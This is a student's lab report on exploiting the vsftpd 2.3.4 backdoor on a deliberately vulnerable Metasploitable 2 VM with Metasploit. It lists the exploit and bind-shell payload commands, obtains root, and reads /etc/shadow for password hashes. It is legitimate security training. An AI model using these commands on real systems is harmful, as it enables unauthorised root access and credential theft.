Lab Session 5: Exploitation & Post-Exploitation Basics

Date: 9 July 2026

Duration: 1 hour

Scenario:

A penetration test engagement requires demonstrating exploitation of a known vulnerability on the client's test server running Metasploitable 2. The full attack chain must be documented for the final penetration test report. Metasploitable 2 is a deliberately vulnerable Linux VM used exclusively for authorised security testing in an isolated lab environment

Objective:

Use the Metasploit Framework to search for, configure, and launch a known exploit against a vulnerable target, then perform basic post-exploitation tasks including gathering system information and demonstrating root-level access. The lab covers the full penetration testing attack chain from reconnaissance through exploitation to evidence collection.

Environment:

Tool: Metasploit Framework v6.4.116-dev (msfconsole)

Target IP: 192.168.56.105 (Metasploitable 2)

Exploit: exploit/unix/ftp/vsftpd_234_backdoor (CVE-2011-2523)

Payload: cmd/unix/bind_netcat

Result: Root shell obtained - uid=0(root) gid=0(root)

Virtual Machines Running: Kali Linux (live USB) + Metasploitable 2 — VirtualBox on Windows host

Pre LAB isssues

On launch, msfconsole threw a continuous database connection error that flooded the output and prevented normal use. The root cause was a port mismatch — Metasploit was configured to connect on port 5433, but PostgreSQL was running on port 5432.

After troubleshooting,I fixed it by running the following commands:

sudo msfdb reinit

sudo rm -f /root/.msf4/database.yml

rm -f ~/.msf4/database.yml

sudo sed -i 's/port = 5433/port = 5432/g' /etc/postgresql/*/main/postgresql.conf

grep 'port' /etc/postgresql/*/main/postgresql.conf

sudo msfdb init

After that I could continue my exploit.

Firs Attempt,Starting Metasploit & Importing the Nmap Scan:

I ran a fresh Nmap scan against Metasploitable to generate an XML results file for import into the Metasploit database:

nmap -sV 192.168.56.105 -oX scan_results.xml

Metasploit then launched and I then imported scan results:

sudo systemctl start postgresql

sudo msfdb init

sudo msfconsole

db_import /home/kali/scan_results.xml

hosts

services

The hosts command confirmed Metasploitable 2 at 192.168.56.105. The services command showed all open ports discovered by Nmap, including port 21 running vsftpd 2.3.4 — the target service.

Next: Searching & Selecting the Exploit

msf6 > search vsftpd

Metasploit returned two modules: auxiliary/dos/ftp/vsftpd_232 (Denial of Service,) and exploit/unix/ftp/vsftpd_234_backdoor (Backdoor Command Execution). The excellent rank indicates Metasploit has high confidence in the reliability of this exploit.

msf6 > use 1

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Show options revealed two required settings: RHOSTS (target IP, empty) and RPORT (target port, already set to 21). LHOST was also required for the payload handler.

Configuring & Running the Exploit:

For the next step I ran the following commands:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.105

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.56.1

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check

The check command confirmed the target is running the vulnerable version before launching the exploit. Initial exploit attempts with the default payload failed due to port conflicts (port 8080 already in use) and payload compatibility issues. After testing multiple payloads, bind_netcat was identified as the most reliable for this environment:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/bind_netcat

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

This was a success, Backdoor spawned and shell opened

Post-Exploitation Evidence Collection

Once the shell was obtained, I ran post-exploitation commands to collect evidence and demonstrate the level of access achieved:

id

whoami

uname -a

hostname

cat /etc/passwd

cat /etc/shadow

The following are the findings of that exploit:

The execution of the identity command returned an output of uid=0(root) gid=0(root), explicitly confirming full, unconstrained root administrative privileges on the target system. This level of access grants complete operational control over

the operating system, allowing an attacker to modify files, alter system configurations, or deploy persistent malware without restriction.

The system information query revealed that the target is running an extremely obsolete Linux kernel version 2.6.24-16-server dating back to 2008. Operating an unpatched kernel of this age presents a critical risk, as the system is vulnerable to dozens of publicly known, weaponized local privilege escalation (LPE) exploits and remote code execution vulnerabilities that lack official remediation.

The direct reading of the secure password shadow file exposed the cryptographic password hashes for the root user and all registered system accounts. This complete exposure of system credentials allows an adversary to extract the data for offline brute-force cracking or utilize password reuse techniques to compromise adjacent infrastructure across the network.

Reading /etc/shadow as root is the ultimate demonstration of full system compromise. This file contains the hashed passwords of every user on the system. In a real engagement, these hashes would be fed to John the Ripper (covered in Lab 03) to recover plaintext passwords — demonstrating how the labs connect into a complete attack chain.

Findings:

- Metasploitable 2 is running vsftpd 2.3.4, which contains a deliberately inserted backdoor (CVE-2011-2523) that provides unauthenticated root access.
- The exploit reliability is rated 'excellent' by Metasploit − the backdoor triggers consistently when the malicious username is sent.
- Root access was confirmed with uid=0(root) gid=0(root) − the highest privilege level on a Linux system.

- The /etc/shadow file was readable, exposing all user password hashes for potential offline cracking.
- The labs connect: Nmap (Lab 01) identified the service, Metasploit (Lab 05) exploited it, John the Ripper (Lab 03) could crack the recovered hashes − a complete real-world attack chain.

Lessons Learned

- Database troubleshooting at the start of a lab often provides deeper understanding of a tool's architecture than a clean run would, knowing how Metasploit's PostgreSQL backend works helps diagnose future connection issues quickly.
- Payload selection matters as much as exploit selection, a working exploit can still fail if the default payload conflicts with the local environment.
- Real penetration testing always involves troubleshooting, knowing how the tools work under the hood is what separates competent practitioners from those who just follow tutorials.
- Stale sessions from earlier attempts can silently break a subsequent exploit run clearing sessions before retrying saves confusion.

Note to Self:

Always check the database connection before assuming a tool problem. Also: try a different payload before assuming an exploit doesn't work, and always run check before exploit to confirm the target first.

What's Next?

Lab 6- Log Analysis & Incident Response.